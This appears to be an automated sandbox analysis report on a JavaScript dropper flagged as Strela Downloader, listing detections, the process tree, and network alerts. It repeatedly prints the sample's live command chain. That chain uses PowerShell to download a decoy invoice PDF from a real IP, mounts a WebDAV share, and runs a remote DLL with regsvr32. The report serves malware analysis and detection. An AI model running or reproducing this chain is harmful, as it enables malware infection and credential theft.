Edit tour

Windows Analysis Report
1141011204217106657.js

Overview

General Information

Sample name:	1141011204217106657.js
Analysis ID:	1588172
MD5:	58e7446261fc5d3e9d3bee0c9cbb54c7
SHA1:	9ea11e47a5f0bcf1adad66409f62c67b46cb3e42
SHA256:	4690f2881b87fa8f4050520d4de9c6f95b65fd102484c5d6c3d93baa9eb929ba
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7452 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7536 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7588 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7776 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8020 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7264 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1528,i,12957217862014294960,14923881785246342503,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7792 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7808 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8092 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7452	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", ProcessId: 7452, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7808, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", ProcessId: 7452, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7792, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7808, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8092, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7792, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7808, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 7536, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:13:36.277024+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49708	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:13:33.016873+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49707	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1141011204217106657.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1141011204217106657.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49708 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: global traffic

TCP traffic: 192.168.2.9:49708 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49707 -> 193.143.1.205:80

Source: global traffic

